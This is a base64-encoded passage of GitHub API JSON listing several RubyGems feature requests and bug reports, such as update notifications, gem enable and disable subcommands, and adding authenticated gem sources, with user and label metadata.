L3NpdGVfcnVieS8yLjIuMC9ydWJ5Z2Vtcy9jb21tYW5kcy9pbnN0YWxsX2NvbW1hbmQucmI6MjUxOmluIGBlYWNoJ1xuICAgICAgICBmcm9tIEM6L1J1YnkyMi14NjQvbGliL3J1Ynkvc2l0ZV9ydWJ5LzIuMi4wL3J1YnlnZW1zL2NvbW1hbmRzL2luc3RhbGxfY29tbWFuZC5yYjoyNTE6aW4gYGluc3RhbGxfZ2VtcydcbiAgICAgICAgZnJvbSBDOi9SdWJ5MjIteDY0L2xpYi9ydWJ5L3NpdGVfcnVieS8yLjIuMC9ydWJ5Z2Vtcy9jb21tYW5kcy9pbnN0YWxsX2NvbW1hbmQucmI6MTU4OmluIGBleGVjdXRlJ1xuICAgICAgICBmcm9tIEM6L1J1YnkyMi14NjQvbGliL3J1Ynkvc2l0ZV9ydWJ5LzIuMi4wL3J1YnlnZW1zL2NvbW1hbmQucmI6MzEwOmluIGBpbnZva2Vfd2l0aF9idWlsZF9hcmdzJ1xuICAgICAgICBmcm9tIEM6L1J1YnkyMi14NjQvbGliL3J1Ynkvc2l0ZV9ydWJ5LzIuMi4wL3J1YnlnZW1zL2NvbW1hbmRfbWFuYWdlci5yYjoxNjk6aW4gYHByb2Nlc3NfYXJncydcbiAgICAgICAgZnJvbSBDOi9SdWJ5MjIteDY0L2xpYi9ydWJ5L3NpdGVfcnVieS8yLjIuMC9ydWJ5Z2Vtcy9jb21tYW5kX21hbmFnZXIucmI6MTM5OmluIGBydW4nXG4gICAgICAgIGZyb20gQzovUnVieTIyLXg2NC9saWIvcnVieS9zaXRlX3J1YnkvMi4yLjAvcnVieWdlbXMvZ2VtX3J1bm5lci5yYjo1NTppbiBgcnVuJ1xuICAgICAgICBmcm9tIEM6L2pydWJ5LTkuMS4xLjAvYmluL2pnZW06MjE6aW4gYDx0b3AgKHJlcXVpcmVkKT4nXG4gICAgICAgIGZyb20gQzovanJ1YnktOS4xLjEuMC9iaW4vZ2VtOjQ6aW4gYGxvYWQnXG4gICAgICAgIGZyb20gQzovanJ1YnktOS4xLjEuMC9iaW4vZ2VtOjQ6aW4gYDxtYWluPidcbmBgYFxuXG5JIHdpbGwgYWJpZGUgYnkgdGhlIFtjb2RlIG9mIGNvbmR1Y3RdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9DT0RFX09GX0NPTkRVQ1QubWQpLlxuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjIwIiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2MjAvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2MjAvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTYyMC9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTYyMCIsImlkIjoxNTYwNjAzMDgsIm51bWJlciI6MTYyMCwidGl0bGUiOiJnZW0gY29tbWFuZCBzaG91bGQgbm90aWZ5IHRoZSB1c2VyIHdoZW4gaXQgaXMgb3V0IG9mIGRhdGUiLCJ1c2VyIjp7ImxvZ2luIjoic3dyb2JlbCIsImlkIjoxNTcyNzAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMyLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE1NzI3MD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc3dyb2JlbCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3N3cm9iZWwiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zd3JvYmVsL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3N3cm9iZWwvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc3dyb2JlbC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc3dyb2JlbC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3N3cm9iZWwvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zd3JvYmVsL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3N3cm9iZWwvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zd3JvYmVsL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zd3JvYmVsL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjoxMTIyMjEsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL2NhdGVnb3J5OiUyMGNvbW1hbmQiLCJuYW1lIjoiY2F0ZWdvcnk6IGNvbW1hbmQiLCJjb2xvciI6IjBiMDJlMSIsImRlZmF1bHQiOmZhbHNlfSx7ImlkIjo0NDMzMzQxODAsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL2NvbnRyaWJ1dGlvbjolMjB1bmNsYWltZWQiLCJuYW1lIjoiY29udHJpYnV0aW9uOiB1bmNsYWltZWQiLCJjb2xvciI6IkRERERERCIsImRlZmF1bHQiOmZhbHNlfSx7ImlkIjozMDU1MjQ3NTAsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3R5cGU6JTIwZmVhdHVyZSUyMHJlcXVlc3QiLCJuYW1lIjoidHlwZTogZmVhdHVyZSByZXF1ZXN0IiwiY29sb3IiOiJiZmU1YmYiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6NywiY3JlYXRlZF9hdCI6IjIwMTYtMDUtMjBUMjI6MTE6MDhaIiwidXBkYXRlZF9hdCI6IjIwMTctMDktMDdUMDI6MTc6MjJaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJOT05FIiwiYm9keSI6IkknbSB3b3VsZCBsaWtlIHRvIHN1Z2dlc3QgYSBmZWF0dXJlLlxuXG5UaGlzIGlzc3VlIGlzIHJlbGF0ZWQgdG86XG5UaGUgY29tbWFuZCBsaW5lIGBnZW1gXG5cbkkgbm90aWNlZCB0aGF0IGBwaXBgIHByb3ZpZGVzIGZlZWRiYWNrIGFzIGZvbGxvd3Mgd2hlbiBpdCBpcyBvdXQgb2YgZGF0ZTpcblxuYGBgXG5Zb3UgYXJlIHVzaW5nIHBpcCB2ZXJzaW9uIDcuMS4yLCBob3dldmVyIHZlcnNpb24gOC4xLjIgaXMgYXZhaWxhYmxlLlxuWW91IHNob3VsZCBjb25zaWRlciB1cGdyYWRpbmcgdmlhIHRoZSAncGlwIGluc3RhbGwgLS11cGdyYWRlIHBpcCcgY29tbWFuZC5cbmBgYFxuXG5TaW1pbGFyIGJlaGF2aW9yIGZyb20gcnVieWdlbXMgd291bGQgbGlrZWx5IGVuY291cmFnZSBtYW55IG1vcmUgdXNlcnMgdG8gdXBkYXRlIHRoZWlyIGNsaWVudC4gSSB1c2UgcnVieSBvbiBhIGRhaWx5IGJhc2lzIGFuZCBvZnRlbiBmb3JnZXQgdG8gcnVuIGBnZW0gdXBkYXRlIC0tc3lzdGVtYCBmb3IgbG9uZyBwZXJpb2RzIG9mIHRpbWUuXG5cbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2MTYiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTYxNi9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTYxNi9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjE2L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjE2IiwiaWQiOjE1NDU0ODAwMCwibnVtYmVyIjoxNjE2LCJ0aXRsZSI6IlBlcmhhcHMgdG8gY29uc2lkZXI6IG5ldyBzdWJjb21tYW5kcywgXCJnZW0gZW5hYmxlXCIgYW5kIFwiZ2VtIGRpc2FibGVcIiIsInVzZXIiOnsibG9naW4iOiJzaGV2ZWdlbiIsImlkIjoxMzcyMywiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTM3MjM/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NoZXZlZ2VuIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2hldmVnZW4iLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGV2ZWdlbi9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGV2ZWdlbi9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGV2ZWdlbi9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hldmVnZW4vc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGV2ZWdlbi9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NoZXZlZ2VuL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NoZXZlZ2VuL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hldmVnZW4vZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NoZXZlZ2VuL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjo0NDMzMzQxODAsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL2NvbnRyaWJ1dGlvbjolMjB1bmNsYWltZWQiLCJuYW1lIjoiY29udHJpYnV0aW9uOiB1bmNsYWltZWQiLCJjb2xvciI6IkRERERERCIsImRlZmF1bHQiOmZhbHNlfSx7ImlkIjozMDU1MjQ3NTAsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3R5cGU6JTIwZmVhdHVyZSUyMHJlcXVlc3QiLCJuYW1lIjoidHlwZTogZmVhdHVyZSByZXF1ZXN0IiwiY29sb3IiOiJiZmU1YmYiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MCwiY3JlYXRlZF9hdCI6IjIwMTYtMDUtMTJUMTg6MTg6NTJaIiwidXBkYXRlZF9hdCI6IjIwMTYtMTEtMDJUMjA6MTM6NDdaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJOT05FIiwiYm9keSI6Ikkgd291bGQgbGlrZSB0byBzdWdnZXN0IGEgZmVhdHVyZS5cblxuVGhpcyBpc3N1ZSBpcyByZWxhdGVkIHRvOlxuLSBbeF0gRW5hYmxpbmcgYSAoZ2VtKSBsaWJyYXJ5XG4tIFt4XSBEaXNhYmxpbmcgYSAoZ2VtKSBsaWJyYXJ5XG4jIEhlcmUgYXJlIG15IGN1cnJlbnQgZW52aXJvbm1lbnQgZGV0YWlsczpcblxuICBPcGVyYXRpbmcgU3lzdGVtOiAgICAgICBHTlUvTGludXhcbiAgT1MgQml0IFR5cGU6ICAgICAgICAgICAgeDg2XzY0XG4gIENQVSBNb2RlbDogICAgICAgICAgICAgIEludGVsKFIpIENlbGVyb24oUikgQ1BVIEcxNjMwIEAgMi44MEdIeiwgMiBjb3Jlc1xuICBDRkxBR1MgaW4gdXNlOiAgICAgICAgICAtTzIgLWZQSUMgLWZuby1zdHJpY3Qtb3ZlcmZsb3cgLVduby1lcnJvclxuICBSQU06ICAgICAgICAgICAgICAgICAgICA3ODU4NzI4IGtCIFJBTSAoNzY3NC41IE1CKSAoNy41IEdpZylcbiAgU2NyZWVuIFJlc29sdXRpb246ICAgICAgMTkyMHgxMDgwXG4gIEdDQyBWZXJzaW9uOiAgICAgICAgICAgIDUuMy4wXG4gIEdsaWJjIFZlcnNpb246ICAgICAgICAgIDIuMjJcbiAgS2VybmVsIFZlcnNpb246ICAgICAgICAgNC40LjBcbiAgUnVieSBWZXJzaW9uOiAgICAgICAgICAgMi4zLjFwMTEyICgyMDE2LTA0LTI2IHJldmlzaW9uIDU0NzY4KSBbeDg2XzY0LWxpbnV4XVxuICBSdWJ5Z2VtcyBWZXJzaW9uOiAgICAgICAyLjYuNFxuIyBcblxuSSB3YXMgdGhpbmtpbmcgb2YgYSBuZXcgc3ViY29tbWFuZCBjYWxsZWQgXCJnZW0gZGlzYWJsZVwiIGFuZCBcImdlbSBlbmFibGVcIi5cblxuVGhpcyB3b3VsZCBqdXN0IHRlbXBvcmFyaWx5IGRpc2FibGUgYSBnZW0uIFRoYXQgZ2VtIGNhbiBiZSByZS1lbmFibGVkIGFnYWluLlxuXG5Ob3cgeW91IGNhbiByaWdodGZ1bGx5IHNheSB0aGF0IG9uZSBjYW4gdW5pbnN0YWxsLCBhbmQgcmVpbnN0YWxsIGEgZ2VtLiBCdXQgSVxuYXMgdGhpbmtpbmcgbW9yZSBvZiBhIGxpZ2h0d2VpZ2h0IGFsdGVybmF0aXZlIHRoYXQgd291bGQgd29yayBpbiBhIHJlYWxseSBcbnNpbXBsZSBtZXRob2QsIGxvb2tpbmcgYXQgdGhlIGxvY2FsIHNvdXJjZXMgT05MWS5cblxuSXQgcHJvYmFibHkgaXMgYWxyZWFkeSBwb3NzaWJsZSB3aXRoIHRoZSBleGlzdGluZyBjb21tYW5kcywgYnV0IEkgZm91bmQgdGhhdFxuYSBuZXcgc3ViY29tbWFuZCB3b3VsZCBiZSBuaWNlLlxuXG5FeGFtcGxlOiBcblxuYGBgXG5nZW0gbGlzdFxuYGBgXG5cbioqXFwqIExPQ0FMIEdFTVMgKioqXG5cbmJpZ2RlY2ltYWwgKGRlZmF1bHQ6IDEuMi44KVxuY29kZXJheSAoMS4xLjApXG5kaWRfeW91X21lYW4gKDEuMC4wKVxuXG5OZXh0IEkgd2FudCB0byBkbzpcblxuYGBgXG4+IGdlbSBkaXNhYmxlIGRpZF95b3VfbWVhblxuYGBgXG5cblRoZW4gSSB3YW50IHRvIHJ1biBzb21lIHJ1YnkgY29kZSB0byBzZWUgaG93IHRoaW5ncyBhcmUgY2hhbmdlZC5cblxuQWZ0ZXJ3YXJkcyBJIHdhbnQgdG8gcmUtZW5hYmxlIHRoZSBkaWQgeW91IG1lYW4gaXQgZ2VtIGFnYWluIHRob3VnaC5cblxuYGBgXG4+IGdlbSBlbmFibGUgZGlkX3lvdV9tZWFuXG5gYGBcblxuSSBhbSBub3Qgc3VyZSBpZiB0aGlzIGlzIHJlYWxseSB1c2VmdWwsIGJ1dCBpZiBpdCBpcyBub3QsIGp1c3QgY2xvc2UgaXQgYXMgeW91ciBsZWlzdXJlLlxuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjA3IiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2MDcvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2MDcvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTYwNy9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTYwNyIsImlkIjoxNTMzMTQwNTcsIm51bWJlciI6MTYwNywidGl0bGUiOiJGZWF0dXJlIHJlcXVlc3Q6IGBnZW0gc291cmNlcyAtLWFkZGAgc2hvdWxkIHdyaXRlIG5ldyBzb3VyY2Ugd2l0aG91dCBoaXR0aW5nIHRoZSBVUkwgZmlyc3QuIiwidXNlciI6eyJsb2dpbiI6Imphc29ua2FybnMiLCJpZCI6MTE5OTcyLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMi5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMTk5NzI/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2phc29ua2FybnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9qYXNvbmthcm5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvamFzb25rYXJucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9qYXNvbmthcm5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2phc29ua2FybnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2phc29ua2FybnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9qYXNvbmthcm5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvamFzb25rYXJucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9qYXNvbmthcm5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvamFzb25rYXJucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvamFzb25rYXJucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MTEyMjIxLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9jYXRlZ29yeTolMjBjb21tYW5kIiwibmFtZSI6ImNhdGVnb3J5OiBjb21tYW5kIiwiY29sb3IiOiIwYjAyZTEiLCJkZWZhdWx0IjpmYWxzZX0seyJpZCI6MzA3ODgxMDExLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9zdGF0dXM6JTIwcmVhZHkiLCJuYW1lIjoic3RhdHVzOiByZWFkeSIsImNvbG9yIjoiZmVmMmMwIiwiZGVmYXVsdCI6ZmFsc2V9LHsiaWQiOjMwNTUyNDc1MCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBmZWF0dXJlJTIwcmVxdWVzdCIsIm5hbWUiOiJ0eXBlOiBmZWF0dXJlIHJlcXVlc3QiLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjozLCJjcmVhdGVkX2F0IjoiMjAxNi0wNS0wNVQyMDowNzoxNloiLCJ1cGRhdGVkX2F0IjoiMjAxNi0wNS0yMVQyMjoyODowOFoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6IkNPTlRSSUJVVE9SIiwiYm9keSI6IkknbSBoYXZpbmcgYSBwcm9ibGVtIG9yIHdvdWxkIGxpa2UgdG8gc3VnZ2VzdCBhIGZlYXR1cmUuXG5cbk15IGN1cnJlbnQgcHJvYmxlbSBpcyBnZW0gc291cmNlcyByZXF1aXJpbmcgYXV0aGVudGljYXRpb24gY2Fubm90IGJlIGFkZGVkIHVzaW5nIGBnZW0gc291cmNlcyAtLWFkZGAgd2l0aG91dCBpbmNsdWRpbmcgdGhlIHVzZXI6cGFzcyBhdXRoZW50aWNhdGlvbiBjb21wb25lbnRzIGluIHRoZSBVUkwuIFRoaXMgd3JpdGVzIF9wcml2YXRlXyBhdXRoZW50aWNhdGlvbiBpbmZvcm1hdGlvbiB0byB+Ly5nZW1yYy5cblxuVGhpcyBpc3N1ZSBpcyByZWxhdGVkIHRvOlxuLSBbIF0gTmV0d29yayBwcm9ibGVtc1xuLSBbIF0gSW5zdGFsbGluZyBhIGxpYnJhcnlcbi0gWyBdIFB1Ymxpc2hpbmcgYSBsaWJyYXJ5XG4tIFt4XSBUaGUgY29tbWFuZCBsaW5lIGBnZW1gXG4tIFsgXSBPdGhlclxuXG5IZXJlIGFyZSBteSBjdXJyZW50IGVudmlyb25tZW50IGRldGFpbHM6XG5cbmBgYFxuJCBnZW0gZW52IHZlcnNpb25cbjIuMi4yXG5gYGBcblxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29kZSBvZiBjb25kdWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09ERV9PRl9DT05EVUNULm1kKS5cblxuSSBtdWNoIHByZWZlciB0byBrZWVwIHRoZSBhdXRoZW50aWNhdGlvbiBpbmZvcm1hdGlvbiBvdXRzaWRlIG9mIC5nZW1yYyBieSB1c2luZyBgYnVuZGxlIGNvbmZpZ2AgKG9yIG1vcmUgc3BlY2lmaWNhbGx5LCB0aGUgYEJVTkRMRVJfKmAgZW52IHZhcnMpLiBXaGljaCBtZWFucyB0aGUgZ2VtIHNvdXJjZSBuZWVkcyB0byBiZSBhZGRlZCB0byAuZ2VtcmMgX3dpdGhvdXRfIHRoZSBhdXRoZW50aWNhdGlvbiBjb21wb25lbnRzLiBIb3dldmVyLCBkb2luZyBgZ2VtIHNvdXJjZXMgLS1hZGQgPHNvdXJjZV91cmxfd2l0aG91dF9hdXRoPmAgZmFpbHMgYmVjYXVzZSB0aGUgdW5hdXRoZW50aWNhdGVkIFVSTCByZXR1cm5zIGEgNDAxLiBJIHByb3Bvc2UgdGhhdCBgZ2VtIHNvdXJjZXMgLS1hZGRgIGVpdGhlcjpcblxuMSkgYWRkIGEgZmxhZyB0byBkaXNhYmxlIHRoZSBwcmVmbGlnaHQgY2hlY2tcbjIpIHdyaXRlIHRoZSBzb3VyY2UgdG8gLmdlbXJjIF9maXJzdF8gYW5kIHRoZW4gaGl0IHRoZSB1cmwsIGVtaXR0aW5nIGFuIGVycm9yIG1lc3NhZ2UgYXMgYXBwcm9wcmlhdGUgYW5kIHJldHVybmluZyB0aGUgcHJvcGVyIGVycm9yIGNvZGUuXG5cbk15IHZvdGUgaXMgZm9yIG9wdGlvbiAyLlxuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTg0IiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE1ODQvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE1ODQvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTU4NC9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTU4NCIsImlkIjoxNDk1MzAyMjYsIm51bWJlciI6MTU4NCwidGl0bGUiOiJSdW50aW1lRXJyb3I6IGNhbid0IG1vZGlmeSBmcm96ZW4gb2JqZWN0IiwidXNlciI6eyJsb2dpbiI6InRsdW50ZXIiLCJpZCI6Nzg3OTk4LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS83ODc5OTg/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RsdW50ZXIiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS90bHVudGVyIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGx1bnRlci9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHVi